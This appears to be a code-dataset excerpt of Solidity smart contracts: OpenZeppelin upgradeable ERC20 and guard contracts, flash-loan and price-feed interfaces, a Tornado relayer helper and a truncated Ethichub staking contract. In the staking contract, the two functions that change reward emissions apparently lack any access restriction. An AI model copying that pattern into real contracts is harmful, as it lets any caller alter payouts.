reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156.sol) pragma solidity ^0.8.0; import "./IERC3156FlashBorrowerUpgradeable.sol"; import "./IERC3156FlashLenderUpgradeable.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashLender.sol) pragma solidity ^0.8.0; import "./IERC3156FlashBorrowerUpgradeable.sol"; /** * @dev Interface of the ERC3156 FlashLender, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * _Available since v4.1._ */ interface IERC3156FlashLenderUpgradeable { /** * @dev The amount of currency available to be lended. * @param token The loan currency. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view returns (uint256); /** * @dev The fee to be charged for a given loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view returns (uint256); /** * @dev Initiate a flash loan. * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. * @param token The loan currency. * @param amount The amount of tokens lent. * @param data Arbitrary data structure, intended to contain user-defined parameters. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) external returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashBorrower.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC3156 FlashBorrower, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * _Available since v4.1._ */ interface IERC3156FlashBorrowerUpgradeable { /** * @dev Receive a flash loan. * @param initiator The initiator of the loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @param fee The additional amount of tokens to repay. * @param data Arbitrary data structure, intended to contain user-defined parameters. * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" */ function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }
Public function that removes an account from being a revoker account The address removed as a revoker
function removeRevoker(address account) external onlyOwner { _removeRevoker(account); } uint256[49] private __gap;
9,906,171
./full_match/1/0x6C84F90766782919016285A21723d5a2c8a4fAff/sources/contracts/RootDB.sol
totalTorn used to calc all the torn in relayer dao it is sum of (Deposit contract torn + InCome contract torn + totalRelayersTorn) return tornQty The number of total Torn/
function totalTorn() public view returns (uint256 tornQty){ tornQty = Deposit(depositContract).totalBalanceOfTorn(); tornQty += ERC20Upgradeable(TORN_CONTRACT).balanceOf(inComeContract); tornQty += this.totalRelayerTorn(); }
4,976,627
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import './bases/staking/StakingRewards.sol'; import './bases/BaseTokenUpgradeable.sol'; import './bases/staking/interfaces/IOriginatorStaking.sol'; import '../reserve/IReserve.sol'; import '../utils/SafeMathUint128.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; /** * @title OriginatorStaking * @notice Contract to stake Originator Hub tokens, tokenize the position and get rewards, inheriting from a distribution manager contract * @author Aave / Ethichub **/ contract OriginatorStaking is Initializable, StakingRewards, BaseTokenUpgradeable, IStaking, IProjectFundedRewards, IOriginatorManager { using SafeERC20Upgradeable for IERC20Upgradeable; using SafeMathUpgradeable for uint256; using SafeMathUint128 for uint128; enum OriginatorStakingState { UNINITIALIZED, STAKING, STAKING_END, DEFAULT } OriginatorStakingState public state; IERC20Upgradeable public STAKED_TOKEN; /// @notice IReserve to pull from the rewards, needs to have this contract as WITHDRAW role IReserve public REWARDS_VAULT; bytes32 public constant GOVERNANCE_ROLE = keccak256('GOVERNANCE_ROLE'); uint256 public stakingGoal; uint256 public defaultedAmount; mapping(address => uint256) public stakerRewardsToClaim; bytes32 public constant ORIGINATOR_ROLE = keccak256('ORIGINATOR_ROLE'); bytes32 public constant AUDITOR_ROLE = keccak256('AUDITOR_ROLE'); uint256 public DEFAULT_DATE; mapping(bytes32 => uint256) public proposerBalances; event StateChange(uint256 state); event Staked(address indexed from, address indexed onBehalfOf, uint256 amount); event Redeem(address indexed from, address indexed to, uint256 amount); event Withdraw(address indexed proposer, uint256 amount); event RewardsAccrued(address user, uint256 amount); event RewardsClaimed(address indexed from, address indexed to, uint256 amount); event StartRewardsProjectFunded(uint128 previousEmissionPerSecond, uint128 extraEmissionsPerSecond, address lendingContractAddress); event EndRewardsProjectFunded(uint128 restoredEmissionsPerSecond, uint128 extraEmissionsPerSecond, address lendingContractAddress); modifier onlyGovernance() { require(hasRole(GOVERNANCE_ROLE, msg.sender), 'ONLY_GOVERNANCE'); _; } modifier onlyEmissionManager() { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); _; } modifier onlyOnStakingState() { require(state == OriginatorStakingState.STAKING, 'ONLY_ON_STAKING_STATE'); _; } modifier notZeroAmount(uint256 _amount) { require(_amount > 0, 'INVALID_ZERO_AMOUNT'); _; } function initialize( string memory _name, string memory _symbol, IERC20Upgradeable _lockedToken, IReserve _rewardsVault, address _emissionManager, uint128 _distributionDuration ) public initializer { __BaseTokenUpgradeable_init( msg.sender, 0, _name, _symbol, _name ); __StakingRewards_init(_emissionManager, _distributionDuration); STAKED_TOKEN = _lockedToken; REWARDS_VAULT = _rewardsVault; _changeState(OriginatorStakingState.UNINITIALIZED); } /** * @notice Function to set up proposers (originator and auditor) * in proposal period. * @param _auditor address * @param _originator address * @param _auditorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _originatorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _stakingGoal uint256 wei amount in Ethix * @param _defaultDelay uint256 seconds */ function setUpTerms( address _auditor, address _originator, address _governance, uint256 _auditorPercentage, uint256 _originatorPercentage, uint256 _stakingGoal, uint256 _defaultDelay ) external override notZeroAmount(_stakingGoal) onlyEmissionManager { require(_auditor != _originator, 'PROPOSERS_CANNOT_BE_THE_SAME'); require(_auditorPercentage != 0 && _originatorPercentage != 0, 'INVALID_PERCENTAGE_ZERO'); require(state == OriginatorStakingState.UNINITIALIZED, 'ONLY_ON_UNINITILIZED_STATE'); _setupRole(AUDITOR_ROLE, _auditor); _setupRole(ORIGINATOR_ROLE, _originator); _setupRole(GOVERNANCE_ROLE, _governance); _depositProposer(_auditor, _auditorPercentage, _stakingGoal); _depositProposer(_originator, _originatorPercentage, _stakingGoal); stakingGoal = _stakingGoal; DEFAULT_DATE = _defaultDelay.add(DISTRIBUTION_END); _changeState(OriginatorStakingState.STAKING); } /** * @notice Function to renew terms in STAKING_END or DEFAULT period. * @param _newAuditorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _newOriginatorPercentage uint256 (value * 100 e.g. 20% == 2000) * @param _newStakingGoal uint256 wei amount in Ethix * @param _newDistributionDuration uint128 seconds (e.g. 365 days == 31536000) * @param _newDefaultDelay uint256 seconds (e.g 90 days == 7776000) */ function renewTerms( uint256 _newAuditorPercentage, uint256 _newOriginatorPercentage, uint256 _newStakingGoal, uint128 _newDistributionDuration, uint256 _newDefaultDelay) external override notZeroAmount(_newStakingGoal) onlyGovernance { require(state == OriginatorStakingState.STAKING_END || state == OriginatorStakingState.DEFAULT, 'INVALID_STATE'); DISTRIBUTION_END = block.timestamp.add(_newDistributionDuration); _depositProposer(getRoleMember(AUDITOR_ROLE, 0), _newAuditorPercentage, _newStakingGoal); _depositProposer(getRoleMember(ORIGINATOR_ROLE, 0), _newOriginatorPercentage, _newStakingGoal); stakingGoal = _newStakingGoal; DEFAULT_DATE = _newDefaultDelay.add(DISTRIBUTION_END); _changeState(OriginatorStakingState.STAKING); } /** * @notice Function to stake tokens * @param _onBehalfOf Address to stake to * @param _amount Amount to stake **/ function stake(address _onBehalfOf, uint256 _amount) external override notZeroAmount(_amount) onlyOnStakingState { require(!hasReachedGoal(), 'GOAL_HAS_REACHED'); if (STAKED_TOKEN.balanceOf(address(this)).add(_amount) > stakingGoal) { _amount = stakingGoal.sub(STAKED_TOKEN.balanceOf(address(this))); } uint256 balanceOfUser = balanceOf(_onBehalfOf); uint256 accruedRewards = _updateUserAssetInternal(_onBehalfOf, address(this), balanceOfUser, totalSupply()); if (accruedRewards != 0) { emit RewardsAccrued(_onBehalfOf, accruedRewards); stakerRewardsToClaim[_onBehalfOf] = stakerRewardsToClaim[_onBehalfOf].add(accruedRewards); } _mint(_onBehalfOf, _amount); IERC20Upgradeable(STAKED_TOKEN).safeTransferFrom(msg.sender, address(this), _amount); emit Staked(msg.sender, _onBehalfOf, _amount); } /** * @dev Redeems staked tokens, and stop earning rewards * @param _to Address to redeem to * @param _amount Amount to redeem **/ function redeem(address _to, uint256 _amount) external override notZeroAmount(_amount) { require(_checkRedeemEligibilityState(), 'WRONG_STATE'); require(balanceOf(msg.sender) != 0, 'SENDER_BALANCE_ZERO'); uint256 balanceOfMessageSender = balanceOf(msg.sender); uint256 amountToRedeem = (_amount > balanceOfMessageSender) ? balanceOfMessageSender : _amount; _updateCurrentUnclaimedRewards(msg.sender, balanceOfMessageSender, true); _burn(msg.sender, amountToRedeem); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(_to, amountToRedeem); emit Redeem(msg.sender, _to, amountToRedeem); } /** * @notice method to withdraw deposited amount. * @param _amount Amount to withdraw */ function withdrawProposerStake(uint256 _amount) external override { require(state == OriginatorStakingState.STAKING_END, 'ONLY_ON_STAKING_END_STATE'); bytes32 senderRole = 0x00; if (msg.sender == getRoleMember(ORIGINATOR_ROLE, 0)) { senderRole = ORIGINATOR_ROLE; } else if (msg.sender == getRoleMember(AUDITOR_ROLE, 0)) { senderRole = AUDITOR_ROLE; } else { revert('WITHDRAW_PERMISSION_DENIED'); } require(proposerBalances[senderRole] != 0, 'INVALID_ZERO_AMOUNT'); uint256 amountToWithdraw = (_amount > proposerBalances[senderRole]) ? proposerBalances[senderRole] : _amount; proposerBalances[senderRole] = proposerBalances[senderRole].sub(amountToWithdraw); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(msg.sender, amountToWithdraw); emit Withdraw(msg.sender, amountToWithdraw); } /** * @dev Claims an `amount` from Rewards reserve to the address `to` * @param _to Address to stake for * @param _amount Amount to stake **/ function claimRewards(address payable _to, uint256 _amount) external override { uint256 newTotalRewards = _updateCurrentUnclaimedRewards(msg.sender, balanceOf(msg.sender), false); uint256 amountToClaim = (_amount == type(uint256).max) ? newTotalRewards : _amount; stakerRewardsToClaim[msg.sender] = newTotalRewards.sub(amountToClaim, 'INVALID_AMOUNT'); require(REWARDS_VAULT.transfer(_to, amountToClaim), 'ERROR_TRANSFER_FROM_VAULT'); emit RewardsClaimed(msg.sender, _to, amountToClaim); } /** * Function to add an extra emissions per second corresponding to staker rewards when a lending project by this originator * is funded. * @param _extraEmissionsPerSecond emissions per second to be added to current ones. * @param _lendingContractAddress lending contract address is relationated with this rewards */ function startProjectFundedRewards(uint128 _extraEmissionsPerSecond, address _lendingContractAddress) external override onlyOnStakingState { AssetData storage currentDistribution = assets[address(this)]; uint128 currentEmission = currentDistribution.emissionPerSecond; uint128 newEmissionsPerSecond = currentDistribution.emissionPerSecond.add(_extraEmissionsPerSecond); DistributionTypes.AssetConfigInput[] memory newAssetConfig = new DistributionTypes.AssetConfigInput[](1); newAssetConfig[0] = DistributionTypes.AssetConfigInput({ emissionPerSecond: newEmissionsPerSecond, totalStaked: totalSupply(), underlyingAsset: address(this) }); configureAssets(newAssetConfig); emit StartRewardsProjectFunded(currentEmission, _extraEmissionsPerSecond, _lendingContractAddress); } /** * Function to end extra emissions per second corresponding to staker rewards when a lending project by this originator * is funded. * @param _extraEmissionsPerSecond emissions per second to be added to current ones. * @param _lendingContractAddress lending contract address is relationated with this rewards. */ function endProjectFundedRewards(uint128 _extraEmissionsPerSecond, address _lendingContractAddress) external override onlyOnStakingState { AssetData storage currentDistribution = assets[address(this)]; uint128 currentEmission = currentDistribution.emissionPerSecond; uint128 newEmissionsPerSecond = currentDistribution.emissionPerSecond.sub(_extraEmissionsPerSecond); DistributionTypes.AssetConfigInput[] memory newAssetConfig = new DistributionTypes.AssetConfigInput[](1); newAssetConfig[0] = DistributionTypes.AssetConfigInput({ emissionPerSecond: newEmissionsPerSecond, totalStaked: totalSupply(), underlyingAsset: address(this) }); configureAssets(newAssetConfig); emit EndRewardsProjectFunded(currentEmission, _extraEmissionsPerSecond, _lendingContractAddress); } /** * @notice Amount to substract of the contract when state is default * @param _amount amount to substract * @param _role role to substract the amount (Originator, Auditor) */ function liquidateProposerStake(uint256 _amount, bytes32 _role) external override notZeroAmount(_amount) onlyGovernance { require(state == OriginatorStakingState.DEFAULT, 'ONLY_ON_DEFAULT'); require(_role == AUDITOR_ROLE || _role == ORIGINATOR_ROLE, 'INVALID_PROPOSER_ROLE'); proposerBalances[_role] = proposerBalances[_role].sub(_amount, 'INVALID_LIQUIDATE_AMOUNT'); IERC20Upgradeable(STAKED_TOKEN).safeTransfer(msg.sender, _amount); } /** * @notice Function to declare contract on staking end state * Only governance could change to this state **/ function declareStakingEnd() external override onlyGovernance onlyOnStakingState { _endDistributionIfNeeded(); _changeState(OriginatorStakingState.STAKING_END); } /** * @notice Function to declare as DEFAULT * @param _defaultedAmount uint256 **/ function declareDefault(uint256 _defaultedAmount) external override onlyGovernance onlyOnStakingState { require(block.timestamp >= DEFAULT_DATE, 'DEFAULT_DATE_NOT_REACHED'); defaultedAmount = _defaultedAmount; _endDistributionIfNeeded(); _changeState(OriginatorStakingState.DEFAULT); } /** * @dev Return the total rewards pending to claim by an staker * @param _staker The staker address * @return The rewards */ function getTotalRewardsBalance(address _staker) external override view returns (uint256) { DistributionTypes.UserStakeInput[] memory userStakeInputs = new DistributionTypes.UserStakeInput[](1); userStakeInputs[0] = DistributionTypes.UserStakeInput({ underlyingAsset: address(this), stakedByUser: balanceOf(_staker), totalStaked: totalSupply() }); return stakerRewardsToClaim[_staker].add(_getUnclaimedRewards(_staker, userStakeInputs)); } /** * @notice Check if fulfilled the objective (Only valid on STAKING state!!) */ function hasReachedGoal() public override notZeroAmount(stakingGoal) view returns (bool) { if (proposerBalances[ORIGINATOR_ROLE].add(proposerBalances[AUDITOR_ROLE]).add(totalSupply()) >= stakingGoal) { return true; } return false; } /** * @notice Function to transfer participation amount (originator or auditor) */ function _depositProposer(address _proposer, uint256 _percentage, uint256 _goalAmount) internal { uint256 percentageAmount = _calculatePercentage(_goalAmount, _percentage); uint256 depositAmount = 0; if (_proposer == getRoleMember(ORIGINATOR_ROLE, 0)) { depositAmount = _calculateDepositAmount(ORIGINATOR_ROLE, percentageAmount); proposerBalances[ORIGINATOR_ROLE] = proposerBalances[ORIGINATOR_ROLE].add(depositAmount); } else if (_proposer == getRoleMember(AUDITOR_ROLE, 0)) { depositAmount = _calculateDepositAmount(AUDITOR_ROLE, percentageAmount); proposerBalances[AUDITOR_ROLE] = proposerBalances[AUDITOR_ROLE].add(depositAmount); } IERC20Upgradeable(STAKED_TOKEN).safeTransferFrom(_proposer, address(this), depositAmount); } /** * @dev Internal ERC20 _transfer of the tokenized staked tokens * @param _from Address to transfer from * @param _to Address to transfer to * @param _amount Amount to transfer **/ function _transfer( address _from, address _to, uint256 _amount ) internal override { uint256 balanceOfFrom = balanceOf(_from); // Sender _updateCurrentUnclaimedRewards(_from, balanceOfFrom, true); // Recipient if (_from != _to) { uint256 balanceOfTo = balanceOf(_to); _updateCurrentUnclaimedRewards(_to, balanceOfTo, true); } super._transfer(_from, _to, _amount); } /** * @dev Check if the state of contract is suitable to redeem */ function _checkRedeemEligibilityState() internal view returns (bool) { if (state == OriginatorStakingState.STAKING_END) { return true; } else if (state == OriginatorStakingState.DEFAULT && defaultedAmount <= proposerBalances[ORIGINATOR_ROLE].add(proposerBalances[AUDITOR_ROLE])) { return true; } else { return false; } } /** * @dev Updates the user state related with his accrued rewards * @param _user Address of the user * @param _userBalance The current balance of the user * @param _updateStorage Boolean flag used to update or not the stakerRewardsToClaim of the user * @return The unclaimed rewards that were added to the total accrued **/ function _updateCurrentUnclaimedRewards( address _user, uint256 _userBalance, bool _updateStorage ) internal returns (uint256) { uint256 accruedRewards = _updateUserAssetInternal(_user, address(this), _userBalance, totalSupply()); uint256 unclaimedRewards = stakerRewardsToClaim[_user].add(accruedRewards); if (accruedRewards != 0) { if (_updateStorage) { stakerRewardsToClaim[_user] = unclaimedRewards; } emit RewardsAccrued(_user, accruedRewards); } return unclaimedRewards; } /** * @notice Function to calculate a percentage of an amount * @param _amount Amount to calculate the percentage of * @param _percentage Percentage to calculate of this amount * @return (amount) */ function _calculatePercentage(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return uint256(_amount.mul(_percentage).div(10000)); } /** * @notice Function to get the actual participation amount * of proposers according the amount that already exists in the contract * @param _role Auditor or originator role * @param _percentageAmount Percentage of staking goal amount * Note _percentageAmount SHOULD BE GREATER than the previously existing amount */ function _calculateDepositAmount(bytes32 _role, uint256 _percentageAmount) internal view returns (uint256){ return uint256(_percentageAmount.sub(proposerBalances[_role])); } /** * @notice Function to change contract state * @param _newState New contract state **/ function _changeState(OriginatorStakingState 